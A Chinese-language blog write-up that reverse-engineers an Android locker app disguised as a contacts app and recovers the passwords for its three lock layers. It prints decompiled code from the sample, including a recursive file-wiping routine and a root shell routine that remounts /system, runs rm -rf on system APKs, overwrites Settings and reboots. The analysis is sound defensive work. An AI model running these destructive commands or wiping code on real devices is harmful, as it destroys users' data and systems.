彼岸花三层锁分析

貌似还没有分析过一个锁机病毒,来尝试一下。这个APK应该是用彼岸花锁机生成器制作的?要不然为什么要这样叫它。

这个应用伪装成手机上的通讯录App。

1. 第一层锁机

启动该应用后,会将手机声音调至最大并持续振动,发出不可描述的声音。救命,我用的真机啊。抓包并没有抓到什么,所以所有加解密操作都应该在这个App里面了。接下来就直接分析App吧。入口为MainActivity,那么就直接进入。

它启动了一个服务,进入MyService。

1
2
3
4
5
6
7
8
9
10
11
// GG()函数的功能是删除file下的所有文件,重命名为DeleteFile  
private void GG(File file) {
if (file.isDirectory()) {
for (File file2 : file.listFiles()) {
GG(file2);
}
file.delete();
} else if (file.exists()) {
file.delete();
}
}

进去看看如何实现封锁USB接口的。

persist.sys.usb.config置为none,在Windows中写入注册表项禁用USB接口,APK怎么能在Windows上写东西呢?

继续往下看if语句:

这个逻辑明显有问题,switch里面的参数不能是boolean类型。应该是Smali代码转成Java代码出错了,这时候可以更换反编译器或者直接看Smali代码。

jeb也太香了吧!还自动帮我们解码,上面的sdcard/和resume、resin都帮我们算出来了。回归正题,我们发现原来switch中根本不是boolean类型,而是int类型。

修改一下case的值就差不多了,得到一个二维数组。

继续往下看for循环:

ck就是[0,100000)的随机数,而识别码就是由它加密而成的。跑一下发现识别码就是ck本身,但要注意识别码是String类型,而ck是int类型。

继续看sb()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static int sb(int i) {  
int i2 = i;
if (i2 < 2) {
return i2;
}
int i3 = 1;
int i4 = 65537 / i2;
int i5 = 65537 % i2;
while (i5 != 1) {
int i6 = i2 / i5;
i2 %= i5;
i3 = (i3 + (i4 * i6)) & 65530;
if (i2 == 1) {
return i3;
}
int i7 = i5 / i2;
i5 %= i2;
i4 = (i4 + (i3 * i7)) & 65531;
}
return (1 - i4) & 65532;
}

这个直接复制求结果就好。当我们假定一个ck后,试一下执行得到我们需要输入密码。

特别奇怪是不是,一个根本得不到密码,另一个出来了非常多的密码。捋一下程序的逻辑,它一共执行了两次大循环,第一次是resume,第二次是resin。每个大循环里面又执行了4次中循环,中循环里面执行了5次小循环。所以按理来说,一个随机数可以得到40个密码。到底哪一个密码才能正确解密呢?

我们知道这个第一层锁机函数L()是在onCreate()函数中的,应用程序呈现给用户看到的界面已经是执行完onCreate()后的事情了,所以正确的密码应该是最后一个。那为什么作者要设计这么“多余”的内容呢?我猜应该是用来迷惑人的,增加逆向者的工作量。

那么第一层锁机就被我们破解了,我们只需知道识别码就可以得到正确密码解锁。

2. 第二层锁机

第二层的整体结构与第一层差不多,而且还比第一层简单,直接将代码复制下来跑一遍就得到密码了。

3. 第三层锁机

canSU()里面是什么呢?进去看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public boolean canSU() {
return canSU(false);
}

public boolean canSU(boolean z) {
if (this.can_su == null || z) {
CommandResult runWaitFor = this.su.runWaitFor("mount -o rw,remount /system", "rm -rf /system/priv-app/cx.apk", "rm -rf /system/app/cx.apk", "mv /system/app/youqing /system/usr/keylayout", "mv /system/priv-app/hlx /system/priv-app/Settings", "reboot");
StringBuilder sb = new StringBuilder();
if (runWaitFor.stdout != null) {
sb.append(runWaitFor.stdout).append(" ; ");
}
if (runWaitFor.stderr != null) {
sb.append(runWaitFor.stderr);
}
this.can_su = new Boolean(runWaitFor.success());
}
return this.can_su.booleanValue();
}

public CommandResult runWaitFor(String... strArr) {
Process run = run(strArr);
Integer num = null;
String str = null;
String str2 = null;
if (run != null) {
try {
num = new Integer(run.waitFor());
str = getStreamLines(run.getInputStream());
str2 = getStreamLines(run.getErrorStream());
} catch (InterruptedException e) {
} catch (NullPointerException e2) {
}
}
return new CommandResult(this.this$0, num, str, str2);
}

public Process run(String... strArr) {
Process process;
try {
process = Runtime.getRuntime().exec(this.SHELL);
DataOutputStream dataOutputStream = new DataOutputStream(process.getOutputStream());
for (String str : strArr) {
if (str != null) {
dataOutputStream.write(str.getBytes());
dataOutputStream.write("\n".getBytes());
dataOutputStream.flush();
}
}
dataOutputStream.writeBytes("exit\n");
dataOutputStream.flush();
} catch (Exception e) {
process = null;
}
return process;
}

mount -o rw,remount /system:以可读写的方式加载/system分区。

rm -rf /system/priv-app/cx.apk:强制删除系统核心应用 cx.apk

rm -rf /system/app/cx.apk:强制删除系统核心应用 cx.apk

mv /system/app/youqing /system/usr/keylayout:将/system/app/youqing移动到/system/usr/keylayout。

mv /system/priv-app/hlx /system/priv-app/Settings:将hlx重命名为Settings。

reboot:重启。

/system/priv-app 中包括 Launcher,SystemUI,SettingsProvider 等,均是系统的核心应用,这些应用能使用系统级的权限,4.4 之前的所有 /system/app 下的软件都能使用系统级的权限,Google 这样做是把内置到系统的应用也做个级别的区别。放到 /system/priv-app 下的应用比放到 /system/app 下的应用可以声明获得更多的权限。

我们在之前的分析中并没有发现应用程序在这些地方执行过命令,所以canSU()我们是不希望执行的。因此第三层的密码算法应该是"" + (v1 ^ cz)

同样复制代码修改一下就可以求得v1的值,进而得到密码。

需要注意的是letterToNumber()在jeb中反编译错误,而Jadx中是正确的。看来还是不能盲目相信一个反编译器的编译结果。

去除浮窗后还是不停振动并发出不可描述的声音,赶紧把应用程序卸载即可,但被删除的文件找不回来了。

如果手机没有进行root,这个锁机软件在需要root权限的一些操作就可以避免,比如读写/system分区、强制删除系统APK等。由于现在的手机都默认没有root权限,所以锁机病毒几乎都灭绝了吧。